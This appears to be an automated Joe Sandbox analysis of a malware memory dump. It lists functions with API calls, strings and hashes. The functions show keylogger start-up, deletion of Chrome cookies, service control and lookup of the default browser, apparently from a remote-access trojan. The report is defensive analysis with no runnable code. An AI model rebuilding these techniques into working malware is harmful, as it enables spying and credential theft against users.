Opcode ID: 87414380ff329cab6abc29d370a5fd972a15805ed6233e0d7e0f313fb35d607d
Instruction ID: dc4247b270400823f18ece179dd80403972a1410ef767aba962aec0f3f56851a
Opcode Fuzzy Hash: 87414380ff329cab6abc29d370a5fd972a15805ed6233e0d7e0f313fb35d607d
Instruction Fuzzy Hash: AC112ABA6583087ED600FBA4DD81F9F77ECAB45700F400925B254EF0E1DA75E9448B66

Uniqueness

Uniqueness Score: -1.00%

Function 1602BAA1 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 49fileCOMMON

Download Yara Rule

APIs

DeleteFileA.KERNEL32(00000000,\AppData\Local\Google\Chrome\User Data\Default\Cookies), ref: 1602BADD
GetLastError.KERNEL32 ref: 1602BAE7

Strings

UserProfile, xrefs: 1602BAAD
[Chrome Cookies found, cleared!], xrefs: 1602BB0D
[Chrome Cookies not found], xrefs: 1602BB01
\AppData\Local\Google\Chrome\User Data\Default\Cookies, xrefs: 1602BAA8

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: DeleteErrorFileLast
String ID: [Chrome Cookies found, cleared!]$[Chrome Cookies not found]$UserProfile$\AppData\Local\Google\Chrome\User Data\Default\Cookies
API String ID: 2018770650-304995407
Opcode ID: 3270c8705e309e947089be9464d3623d1ac7411f6aee690b271b0f6a237d8bae
Instruction ID: b3cbf6791b8a4b314a6df235b53947f2757cf5743c7c89d839506fd2e2efcf30
Opcode Fuzzy Hash: 3270c8705e309e947089be9464d3623d1ac7411f6aee690b271b0f6a237d8bae
Instruction Fuzzy Hash: 7801D635D500295ACB05F7B5DCA68FE7F2AAE11405FC0029DE80353595EF52AA8DCAC2

Uniqueness

Uniqueness Score: -1.00%

Function 1603ADC0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 1603B4EF: GetLocalTime.KERNEL32(00000000), ref: 1603B509

GetModuleHandleA.KERNEL32(00000000,00020009), ref: 1603ADF2
PlaySoundW.WINMM(00000000,00000000), ref: 1603AE00
Sleep.KERNEL32(00002710), ref: 1603AE07
PlaySoundW.WINMM(00000000,00000000,00000000), ref: 1603AE10

Strings

`#v, xrefs: 1603ADF2
Alarm triggered, xrefs: 1603ADC9

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: PlaySound$HandleLocalModuleSleepTime
String ID: Alarm triggered$`#v
API String ID: 614609389-3049340936
Opcode ID: 3c7ba70d810c56156a74b78d9fcf19940bec2069385c35531cb531e11bb9a7bb
Instruction ID: d92c928720df6242ccffd99ca6ef40cec30fe5e841d19626a62dbc4e2f2434a6
Opcode Fuzzy Hash: 3c7ba70d810c56156a74b78d9fcf19940bec2069385c35531cb531e11bb9a7bb
Instruction Fuzzy Hash: 3CE01226E0016037952473BA9D9ECAF3D3EDFD2A51741019DFA466B145DD00185ACAF2

Uniqueness

Uniqueness Score: -1.00%

Function 1605AADC Relevance: 9.3, APIs: 6, Instructions: 284COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 1605AC69
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 1605AC85
__allrem.LIBCMT ref: 1605AC9C
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 1605ACBA
__allrem.LIBCMT ref: 1605ACD1
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 1605ACEF

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@
String ID:
API String ID: 1992179935-0
Opcode ID: 324a3f8db7a4af308d45995ace6313bc09822ddcf2faf4fc4501ccf235525b64
Instruction ID: f4bc3289f3f2976d4b775d0ae4c4dbe66c47d997d74c799a14e043018579766a
Opcode Fuzzy Hash: 324a3f8db7a4af308d45995ace6313bc09822ddcf2faf4fc4501ccf235525b64
Instruction Fuzzy Hash: CE81FA76E007069BE710DB69CC40B5A7FEAAF44360F22452AED15D7680F774E988CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 16031CFE Relevance: 9.2, APIs: 6, Instructions: 206memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 1603179C: SetLastError.KERNEL32(0000000D,16031D1C,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,16031CFA), ref: 160317A2

SetLastError.KERNEL32(000000C1,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,16031CFA), ref: 16031D37
GetNativeSystemInfo.KERNEL32(?,?,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,16031CFA), ref: 16031DA5
SetLastError.KERNEL32(0000000E,?,?,?,?,?,?,?,?,00000000), ref: 16031DC9

Part of subcall function 16031CA3: VirtualAlloc.KERNEL32(00000040,00000040,00000040,00000040,16031DE7,?,00000000,00003000,00000040,00000000,?,00000000), ref: 16031CB3

GetProcessHeap.KERNEL32(00000008,00000040,?,?,?,?,00000000), ref: 16031E10
HeapAlloc.KERNEL32(00000000,?,?,?,?,00000000), ref: 16031E17
SetLastError.KERNEL32(0000045A,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 16031F2A

Part of subcall function 16032077: GetProcessHeap.KERNEL32(00000000,00000000,?,00000000,16031F37,?,?,?,?,00000000), ref: 160320E7
Part of subcall function 16032077: HeapFree.KERNEL32(00000000,?,?,?,?,00000000), ref: 160320EE

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: ErrorHeapLast$AllocProcess$FreeInfoNativeSystemVirtual
String ID:
API String ID: 3950776272-0
Opcode ID: 6ec88f983456e591efb8436e78b3691adcfc4417a60bc6caf23ddfe864d7f86c
Instruction ID: 4084f84dfa28c6af3c71f3852e2c1f71e0dcced38ec1bbfe85a3c19c66af3dd5
Opcode Fuzzy Hash: 6ec88f983456e591efb8436e78b3691adcfc4417a60bc6caf23ddfe864d7f86c
Instruction Fuzzy Hash: D661D074A10211AFD700DF25CD80B6A7EF6BF8D243F4045A9ED058B681EBB4E449CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 160658F9 Relevance: 9.2, APIs: 6, Instructions: 200COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftoe.LIBCMT ref: 16065925
__cftoe.LIBCMT ref: 16065957

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: __cftoe
String ID:
API String ID: 4189289331-0
Opcode ID: 622a887696260da36b524e03b75af78bff4e355a86aca6e21a75cc2e35b4578f
Instruction ID: 90f945d4d76249a6e5ce1381455b3e6d399a329d2905f932c8083ff94ca962cf
Opcode Fuzzy Hash: 622a887696260da36b524e03b75af78bff4e355a86aca6e21a75cc2e35b4578f
Instruction Fuzzy Hash: 57510B76D10205ABDB12CB6BCC80F9E7FFAEF49334F11421AE81596191EB32E548C6B4

Uniqueness

Uniqueness Score: -1.00%

Function 1602A726 Relevance: 9.2, APIs: 6, Instructions: 163sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00001388), ref: 1602A740

Part of subcall function 1602A675: CreateFileW.KERNEL32(00000000,80000000,00000007,00000000,00000003,00000080,00000000,?,?,?,1602A74D), ref: 1602A6AB
Part of subcall function 1602A675: GetFileSize.KERNEL32(00000000,00000000,?,?,?,1602A74D), ref: 1602A6BA
Part of subcall function 1602A675: Sleep.KERNEL32(00002710,?,?,?,1602A74D), ref: 1602A6E7
Part of subcall function 1602A675: CloseHandle.KERNEL32(00000000,?,?,?,1602A74D), ref: 1602A6EE

CreateDirectoryW.KERNEL32(00000000,00000000), ref: 1602A77C
GetFileAttributesW.KERNEL32(00000000), ref: 1602A78D
SetFileAttributesW.KERNEL32(00000000,00000080), ref: 1602A7A4
PathFileExistsW.SHLWAPI(00000000,00000000,00000000,00000012), ref: 1602A81E

Part of subcall function 1603C485: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000,00000000,?,?,00000000,1602412F,16085E74), ref: 1603C49E

SetFileAttributesW.KERNEL32(00000000,00000006,00000013,16086468,00000000,00000000,00000000), ref: 1602A927

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: File$AttributesCreate$Sleep$CloseDirectoryExistsHandlePathSize
String ID:
API String ID: 3795512280-0
Opcode ID: 00635d0e691f18f3e86fc2381b7afad94445027342992004359793d4e86dee54
Instruction ID: b366a33f8d31c0a2317c3c3d9a90505c07b82e0601c985e6adf96732610731ac
Opcode Fuzzy Hash: 00635d0e691f18f3e86fc2381b7afad94445027342992004359793d4e86dee54
Instruction Fuzzy Hash: 7551E0796442041BDB08EB70CCA0ABF7FAB9F94202FC0096CE692A71D1DF25B94DC751

Uniqueness

Uniqueness Score: -1.00%

Function 03F6E548 Relevance: 9.1, APIs: 6, Instructions: 139COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 03F6E5E1
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 03F6E5FD
SafeArrayCreate.OLEAUT32(0000000C,?,?), ref: 03F6E636
SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 03F6E6B3
SafeArrayPtrOfIndex.OLEAUT32(00000000,?,?), ref: 03F6E6CC
VariantCopy.OLEAUT32(?,00000000), ref: 03F6E701

Memory Dump Source

Source File: 00000000.00000002.2137377339.0000000003F61000.00000020.00001000.00020000.00000000.sdmp, Offset: 03F60000, based on PE: true

Associated: 00000000.00000002.2137358819.0000000003F60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f60000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: ArraySafe$BoundIndex$CopyCreateVariant
String ID:
API String ID: 351091851-0
Opcode ID: a9a696700a5c398af6b49de9a61da99d4f96f00f59c5a2cf8b5ab96da2f16d4b
Instruction ID: e8942f844f4ce3c98a54e3ff97ffdf0ff0b9d0dea1def7af1a20926b7829a823
Opcode Fuzzy Hash: a9a696700a5c398af6b49de9a61da99d4f96f00f59c5a2cf8b5ab96da2f16d4b
Instruction Fuzzy Hash: 34510ABAA0062D9BCB22DB58CD90BD9B7BCAF5D200F0441E5F509EB211D630AF858F61

Uniqueness

Uniqueness Score: -1.00%

Function 16067571 Relevance: 9.1, APIs: 3, Strings: 2, Instructions: 389COMMONLIBRARYCODE

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 16067679
__freea.LIBCMT ref: 16067723
__freea.LIBCMT ref: 16067741

Part of subcall function 16055E40: _free.LIBCMT ref: 16055E56

Strings

am/pm, xrefs: 160677A4
a/p, xrefs: 16067808

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16_free
String ID: a/p$am/pm
API String ID: 2936374016-3206640213
Opcode ID: d472becc917dbfff7e7e6ef3e3473bc1eebcea22c5b42ae08e4e592d4cb43a0a
Instruction ID: b16b1da69443ba2c321329442956f789d4e3e9a5f04bb3e2146febd46f18ef36
Opcode Fuzzy Hash: d472becc917dbfff7e7e6ef3e3473bc1eebcea22c5b42ae08e4e592d4cb43a0a
Instruction Fuzzy Hash: 10D1DB35D10206CAEB05CF6AC890ABEBFF1FF05704F24415AEA45AB255F3759988CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 16030E61 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 16030E6E
int.LIBCPMT ref: 16030E81

Part of subcall function 1602E0C1: std::_Lockit::_Lockit.LIBCPMT ref: 1602E0D2
Part of subcall function 1602E0C1: std::_Lockit::~_Lockit.LIBCPMT ref: 1602E0EC

std::_Facet_Register.LIBCPMT ref: 16030EC1
std::_Lockit::~_Lockit.LIBCPMT ref: 16030ECA
__CxxThrowException@8.LIBVCRUNTIME ref: 16030EE8
__Init_thread_footer.LIBCMT ref: 16030F29

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_Init_thread_footerRegisterThrow
String ID:
API String ID: 3815856325-0
Opcode ID: b9169a2a2a0b50aa724b5377c43915996efe1eaf4e031228b6decabf536c63e4
Instruction ID: 1660f20464c68714b26609cceedfc27687d8b92c609727cac5cc13bf6b64d936
Opcode Fuzzy Hash: b9169a2a2a0b50aa724b5377c43915996efe1eaf4e031228b6decabf536c63e4
Instruction Fuzzy Hash: 5221263AA121249FC708DB68DC94C8E3FBBAF04322F61015AF415A7290EB31BD88C790

Uniqueness

Uniqueness Score: -1.00%

Function 16068215 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,1605F720,1605A7F5,1605F720,16094EF8,?,1605CE15,FF8BC35D,16094EF8,16094EF8), ref: 16068219
_free.LIBCMT ref: 1606824C
_free.LIBCMT ref: 16068274
SetLastError.KERNEL32(00000000,FF8BC35D,16094EF8,16094EF8), ref: 16068281
SetLastError.KERNEL32(00000000,FF8BC35D,16094EF8,16094EF8), ref: 1606828D
_abort.LIBCMT ref: 16068293

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: ErrorLast$_free$_abort
String ID:
API String ID: 3160817290-0
Opcode ID: 387957d55bdfb4cb2df70725e8acaf3fd6a77610d4b20778883c291776e748af
Instruction ID: 3bb6b176f1ffb7c59a3be92c05df7c7073fb3e9e894dc79f03af4212e33e2213
Opcode Fuzzy Hash: 387957d55bdfb4cb2df70725e8acaf3fd6a77610d4b20778883c291776e748af
Instruction Fuzzy Hash: 30F0F9BD614A526BD645E3275C48B4B2E679BD2762F260228F96892180EF209E4DC1B1

Uniqueness

Uniqueness Score: -1.00%

Function 1603AC11 Relevance: 9.0, APIs: 6, Instructions: 45serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,00000040,00000000,00000001,?,?,?,?,?,?,1603A523,00000000), ref: 1603AC20
OpenServiceW.ADVAPI32(00000000,00000000,00000040,?,?,?,?,?,?,1603A523,00000000), ref: 1603AC34
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,1603A523,00000000), ref: 1603AC41
ControlService.ADVAPI32(00000000,00000003,?,?,?,?,?,?,?,1603A523,00000000), ref: 1603AC50
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,1603A523,00000000), ref: 1603AC62
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,1603A523,00000000), ref: 1603AC65

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Service$CloseHandle$Open$ControlManager
String ID:
API String ID: 221034970-0
Opcode ID: a7f6161582305ebf458fb446cdb4654a8f26940696545008159a8f6faa3abce2
Instruction ID: 55f99bce6aa6b9e8333dfba9bd09719ea5c343c42a1b6090b1097c43cdbf2c35
Opcode Fuzzy Hash: a7f6161582305ebf458fb446cdb4654a8f26940696545008159a8f6faa3abce2
Instruction Fuzzy Hash: C5F0F6359A01387FD315AB248C88DBF3F6DDF59252F400159FF48A2144DB349D4985F1

Uniqueness

Uniqueness Score: -1.00%

Function 1603AAA6 Relevance: 9.0, APIs: 6, Instructions: 45serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,00000020,00000000,00000001,?,?,?,?,?,?,1603A623,00000000), ref: 1603AAB5
OpenServiceW.ADVAPI32(00000000,00000000,00000020,?,?,?,?,?,?,1603A623,00000000), ref: 1603AAC9
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,1603A623,00000000), ref: 1603AAD6
ControlService.ADVAPI32(00000000,00000001,?,?,?,?,?,?,?,1603A623,00000000), ref: 1603AAE5
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,1603A623,00000000), ref: 1603AAF7
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,1603A623,00000000), ref: 1603AAFA

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Service$CloseHandle$Open$ControlManager
String ID:
API String ID: 221034970-0
Opcode ID: 9e274fb77b3b95ae5084bd56382ebcc62cc310d228b7295eaff5a037110abd6b
Instruction ID: 173a89457f5713d9a3c42afb334cf8c363e2f0b113bee9828ac93331f65f6ea8
Opcode Fuzzy Hash: 9e274fb77b3b95ae5084bd56382ebcc62cc310d228b7295eaff5a037110abd6b
Instruction Fuzzy Hash: F7F0F63699022C7FD314AB248C88EFF3F6DDF55252F400159FE48A2145DB649D4985F1

Uniqueness

Uniqueness Score: -1.00%

Function 1603ABAA Relevance: 9.0, APIs: 6, Instructions: 45serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,00000040,00000000,00000001,?,?,?,?,?,?,1603A5A3,00000000), ref: 1603ABB9
OpenServiceW.ADVAPI32(00000000,00000000,00000040,?,?,?,?,?,?,1603A5A3,00000000), ref: 1603ABCD
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,1603A5A3,00000000), ref: 1603ABDA
ControlService.ADVAPI32(00000000,00000002,?,?,?,?,?,?,?,1603A5A3,00000000), ref: 1603ABE9
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,1603A5A3,00000000), ref: 1603ABFB
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,1603A5A3,00000000), ref: 1603ABFE

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Service$CloseHandle$Open$ControlManager
String ID:
API String ID: 221034970-0
Opcode ID: 6787eb638d3f7a5a75e218ce4d3a77a374a2c6aa4ef7ab20368f4dd241be7acd
Instruction ID: 39d1c99cb77de679692b326239d78abed2aa39b709e751a09ee604fe48b4e8f4
Opcode Fuzzy Hash: 6787eb638d3f7a5a75e218ce4d3a77a374a2c6aa4ef7ab20368f4dd241be7acd
Instruction Fuzzy Hash: 5FF0CD359A01286FD214AB248C89EEF3FADDF55262F400159FF48A6145EB249D498AF1

Uniqueness

Uniqueness Score: -1.00%

Function 1603B68A Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 91COMMON

Download Yara Rule

APIs

Part of subcall function 1603361B: RegOpenKeyExW.ADVAPI32(80000001,00000400,00000000,00020019,?,160950E4), ref: 1603363D
Part of subcall function 1603361B: RegQueryValueExW.ADVAPI32(?,1602F313,00000000,00000000,?,00000400), ref: 1603365C
Part of subcall function 1603361B: RegCloseKey.ADVAPI32(?), ref: 16033665

Part of subcall function 1603BFB7: GetCurrentProcess.KERNEL32(?,?,?,1602DAAA,WinDir,00000000,00000000), ref: 1603BFC8
Part of subcall function 1603BFB7: IsWow64Process.KERNEL32(00000000,?,?,1602DAAA,WinDir,00000000,00000000), ref: 1603BFCF

_wcslen.LIBCMT ref: 1603B763

Strings

.exe, xrefs: 1603B6B5
program files (x86)\, xrefs: 1603B75D
program files\, xrefs: 1603B749, 1603B750, 1603B762
http\shell\open\command, xrefs: 1603B69A

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Process$CloseCurrentOpenQueryValueWow64_wcslen
String ID: .exe$http\shell\open\command$program files (x86)\$program files\
API String ID: 3286818993-4246244872
Opcode ID: bd77e31db6359bb303a105fbeb915188f2244adbf6f504439c42c37ce81cfa3d
Instruction ID: 413eb2ce7142064be4d24bf2b28c0c01b5454ef85900af8c4a447efdd9cb3ac1
Opcode Fuzzy Hash: bd77e31db6359bb303a105fbeb915188f2244adbf6f504439c42c37ce81cfa3d
Instruction Fuzzy Hash: 3A21836AE001046FDF04EAB58C959BF7EAF9F49166F40057DE416A7281EF24AD0DC760

Uniqueness

Uniqueness Score: -1.00%

Function 1602B164 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 68timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?,Offline Keylogger Started,160950F0), ref: 1602B172
wsprintfW.USER32 ref: 1602B1F3

Part of subcall function 1602A636: SetEvent.KERNEL32(00000000,?,00000000,1602B20A,00000000), ref: 1602A662

Strings

Offline Keylogger Started, xrefs: 1602B16B
[%04i/%02i/%02i %02i:%02i:%02i , xrefs: 1602B17B
], xrefs: 1602B180

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: EventLocalTimewsprintf
String ID: [%04i/%02i/%02i %02i:%02i:%02i $Offline Keylogger Started$]
API String ID: 1497725170-248792730
Opcode ID: c497110b626c244cafe116ebe887a35d767c7e9b654e7f9f71cdf4e833a6b40b
Instruction ID: 84236464d28fd5e54f03b5b27a2b31839eae89540e17ad1d48bcc2c73ff11fcf
Opcode Fuzzy Hash: c497110b626c244cafe116ebe887a35d767c7e9b654e7f9f71cdf4e833a6b40b
Instruction Fuzzy Hash: 2311667A504018AACB18DB94DC948FF7BBEEE58311B50015EF54656090FF74BE49C6B4

Uniqueness

Uniqueness Score: -1.00%

Function 1603D50F Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 57registryCOMMON

Download Yara Rule

APIs

RegisterClassExA.USER32(00000030), ref: 1603D55B
CreateWindowExA.USER32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,000000FD,00000000,00000000,00000000), ref: 1603D576
GetLastError.KERNEL32 ref: 1603D580

Strings

0, xrefs: 1603D52B
MsgWindowClass, xrefs: 1603D526

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: ClassCreateErrorLastRegisterWindow
String ID: 0$MsgWindowClass
API String ID: 2877667751-2410386613
Opcode ID: e218315661cf76cb17068fffbb321ece0a8965b6859883c1b4678243ddd30006
Instruction ID: 1467f1a62e90857b3b815ee1079d11a9eadf52087c0fe2f9041f3f903fb905f7
Opcode Fuzzy Hash: e218315661cf76cb17068fffbb321ece0a8965b6859883c1b4678243ddd30006
Instruction Fuzzy Hash: 3D010CB1D0021DAFDB01DFE5DCC4DEFBBBDFB04255F40062AF911A6240E67159099BA0

Uniqueness

Uniqueness Score: -1.00%

Function 03F6355C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 03F6357E
RegQueryValueExA.ADVAPI32(?,FPUMaskValue,00000000,00000000,?,00000004,00000000,03F635CD,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 03F635B1
RegCloseKey.ADVAPI32(?,03F635D4,00000000,?,00000004,00000000,03F635CD,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 03F635C7

Strings

SOFTWARE\Borland\Delphi\RTL, xrefs: 03F63574
FPUMaskValue, xrefs: 03F635A8

Memory Dump Source

Source File: 00000000.00000002.2137377339.0000000003F61000.00000020.00001000.00020000.00000000.sdmp, Offset: 03F60000, based on PE: true

Associated: 00000000.00000002.2137358819.0000000003F60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f60000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: CloseOpenQueryValue
String ID: FPUMaskValue$SOFTWARE\Borland\Delphi\RTL
API String ID: 3677997916-4173385793
Opcode ID: 62be80b15fb4dc28396f7a55b9000612496bdcc2f8dd8e076880dada1697e693
Instruction ID: 7fd332e2040860bf5d5dbb6be0d7c771a3bff9a6fbd12445c01bf357bf052d7c
Opcode Fuzzy Hash: 62be80b15fb4dc28396f7a55b9000612496bdcc2f8dd8e076880dada1697e693
